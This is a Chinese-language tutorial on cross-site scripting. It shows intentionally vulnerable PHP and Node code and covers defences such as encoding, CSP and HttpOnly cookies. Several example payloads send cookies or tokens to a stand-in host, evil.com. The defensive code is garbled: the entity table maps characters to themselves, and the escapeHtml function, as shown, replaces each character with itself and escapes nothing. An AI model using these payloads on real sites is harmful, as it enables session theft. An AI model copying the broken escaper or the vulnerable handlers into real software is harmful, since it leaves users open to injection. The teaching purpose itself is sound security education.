什么是 XSS
XSS(Cross-Site Scripting)全称跨站脚本攻击——注意不是 CSS,所以缩写为 XSS。它的核心逻辑是:攻击者向网页注入恶意脚本,当其他用户浏览该页面时,脚本在他们的浏览器中执行,从而窃取数据、劫持会话或实施其他恶意操作。
这不是理论,是真实发生过的攻击。2014年,Twitter 就发生过大规模 XSS 攻击,攻击者通过一条推文注入了 JavaScript,数万名用户中招。
攻击的底层原理
浏览器的解析流程
要理解 XSS,先理解浏览器渲染页面的过程:
HTML 文本 → HTML 解析器 → DOM 树 → CSSOM → Render 树 → 页面渲染关键点在于:浏览器对 <script> 标签里的内容是直接当作 JavaScript 代码执行的,不会做任何"转义"或"过滤"。
攻击的本质就是:让浏览器把攻击者控制的内容当成代码来执行。
三种 XSS 类型与攻击过程
1. 反射型 XSS(Reflected XSS)
场景:用户点击一个恶意链接,服务器把恶意脚本"反射"回页面执行。
攻击链:
攻击者构造链接 → 用户点击 → 服务器接收参数 → 服务器原样返回 → 浏览器执行脚本具体案例:
假设有一个搜索功能,URL 是:
https://example.com/search?q=hello后端代码(有漏洞):
php// 危险:直接将用户输入输出到页面
echo "<h1>搜索: " . $_GET['q'] . "</h1>";攻击者构造恶意链接:
https://example.com/search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>当用户点击这个链接时:* 浏览器请求该 URL
- 服务器把
<script>...</script>原样返回 - 浏览器解析 HTML,遇到
<script>标签 - 浏览器执行其中的 JavaScript
- 用户的 cookie 被发送到攻击者的服务器
这就是反射型 XSS——脚本不是存储在服务端,而是"反射"回来的。
2. 存储型 XSS(Stored XSS)
场景:攻击者将恶意脚本提交到服务器(评论、用户名、个人简介等),所有访问该页面的用户都会中招。
具体案例:
假设一个论坛的评论功能:
javascript// 后端存储用户评论(未过滤)
app.post('/comment', (req, res) => {
const comment = req.body.content; // 直接存入数据库
db.save(comment);
res.send('评论成功');
});
// 前端展示评论(直接渲染)
app.get('/post/:id', (req, res) => {
const post = db.findById(req.params.id);
// 危险:直接插入 HTML
res.send(`<div class="comment">${post.comment}</div>`);
});攻击者提交评论:
html<img src=x onerror="fetch('https://evil.com/log?c='+document.cookie)">所有访问该帖子的人,浏览器都会执行这段脚本,cookie 被窃取。
危害比反射型更大——因为攻击代码是永久存储的,影响所有访问者。
3. DOM 型 XSS(DOM-based XSS)
场景:攻击脚本不经过服务器,完全在浏览器端通过 JavaScript 操作 DOM 执行。
具体案例:
javascript// 前端代码
const urlParams = new URLSearchParams(window.location.search);
const name = urlParams.get('name');
// 危险:直接将 URL 参数写入 DOM
document.getElementById('greeting').innerHTML = 'Hello, ' + name;攻击者构造链接:
https://example.com/page?name=<img src=x onerror="alert('XSS')">浏览器解析时:* window.location.search 获取到 ?name=<img src=x onerror="...">
innerHTML将这段 HTML 插入页面- 浏览器解析
<img>标签,onerror事件触发 - JavaScript 执行
关键区别:服务器完全没有参与,纯前端漏洞。
攻击的底层细节
为什么 <script> 标签能执行?
浏览器解析 HTML 时,遇到 <script> 标签会:* 暂停 HTML 解析
- 将标签内容交给 JavaScript 引擎执行
- 执行完毕后继续解析
html<!-- 浏览器看到这段,会执行其中的 JS -->
<script>
// 这里写的任何代码都会被执行
fetch('https://evil.com/steal?data=' + localStorage.getItem('token'));
</script>为什么 <img onerror="..."> 也能执行?
HTML 标签的事件属性(onerror、onclick、onload 等)本质上是 JavaScript 代码的容器:
html<!-- 等价于在 JS 中写了:img.onerror = "alert('XSS')" -->
<img src=x onerror="alert('XSS')">当图片加载失败(src=x 是无效路径),触发 onerror 事件,执行其中的代码。
为什么 javascript: 协议能执行?
html<a href="javascript:alert('XSS')">点击</a>当用户点击这个链接,浏览器将 javascript: 后的内容当作 JavaScript 代码执行。
防范措施
原则:永远不要信任用户输入
1. 输出编码(最核心的防御)
核心思想:在数据输出到 HTML 之前,将特殊字符转换为 HTML 实体。
| 原始字符 | HTML 实体 |
|---|---|
< | < |
> | > |
& | & |
" | " |
' | ' |
示例(Java):
java// 使用 OWASP Java Encoder
String safeOutput = HtmlUtils.htmlEscape(userInput);
// 输入: <script>alert('XSS')</script>
// 输出: <script>alert('XSS')</script>
// 浏览器渲染为文本,不执行示例(JavaScript):
javascript// 危险:直接插入
element.innerHTML = userInput;
// 安全:使用 textContent
element.textContent = userInput;
// 或者手动转义
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}2. 输入验证(辅助手段)
javascript// 白名单验证:只允许特定格式
function validateInput(input) {
// 只允许字母、数字、中文
const validPattern = /^[a-zA-Z0-9\u4e00-\u9fa5]+$/;
return validPattern.test(input);
}注意:输入验证不能替代输出编码。攻击者可以绕过简单的正则,但编码是浏览器层面的保障。
3. CSP(内容安全策略)
CSP 是浏览器层面的防御机制,通过 HTTP 头告诉浏览器"只允许执行来自这些来源的脚本"。
httpContent-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'更严格的配置:
httpContent-Security-Policy:
default-src 'self';
script-src 'self'; # 只允许同源脚本
style-src 'self' 'unsafe-inline';
img-src 'self' https:; # 只允许同源和图片协议
object-src 'none'; # 禁止 flash 等插件
frame-ancestors 'none'; # 禁止被嵌入 iframe效果:即使攻击者注入了 <script>evil.com</script>,浏览器也会拒绝执行,因为脚本来源不在白名单中。
4. 框架层面的防护
现代前端框架默认做了 XSS 防护:
javascript// React:默认转义
<div>{userInput}</div> // 自动转义,不会执行脚本
// Vue:模板语法自动转义
<p>{{ userInput }}</p> // 自动转义
// 危险:v-html / dangerouslySetInnerHTML
<div v-html="userInput"></div> // 跳过转义,需要手动确保安全教训:使用 v-html 或 dangerouslySetInnerHTML 时要格外小心,确保内容可信。
完整防御策略
┌─────────────────────────────────────────────┐
│ XSS 防御纵深 │
├─────────────────────────────────────────────┤
│ 第1层:输入验证(白名单) │
│ 第2层:输出编码(HTML 实体转义) │
│ 第3层:CSP 策略(浏览器层面限制) │
│ 第4层:框架防护(React/Vue 默认转义) │
│ 第5层:HttpOnly Cookie(即使 XSS 也无法读 cookie)│
└─────────────────────────────────────────────┘HttpOnly Cookie 的关键作用:
javascript// 设置 cookie 时添加 HttpOnly 标志
res.cookie('session', token, { httpOnly: true });
// 即使 XSS 执行了 document.cookie,也读不到这个值
// 因为 HttpOnly cookie 对 JavaScript 不可见这是最后一道防线——即使 XSS 攻击成功执行了脚本,攻击者也拿不到 session cookie。
总结
XSS 的本质很简单:让浏览器执行了不该执行的代码。
防御的核心原则:永远不要信任用户输入
- 输出时编码,输入时验证
- 用 HttpOnly Cookie 保护敏感数据
- 配置 CSP 作为纵深防御
记住这个口诀:"输入是敌人,输出是战场"——在数据进入浏览器的那一刻,你就要决定它是"数据"还是"代码"。编码确保它是数据,不编码它就变成了代码。
评论 (0)
请先登录后再发表评论
暂无评论,快来发表第一条评论吧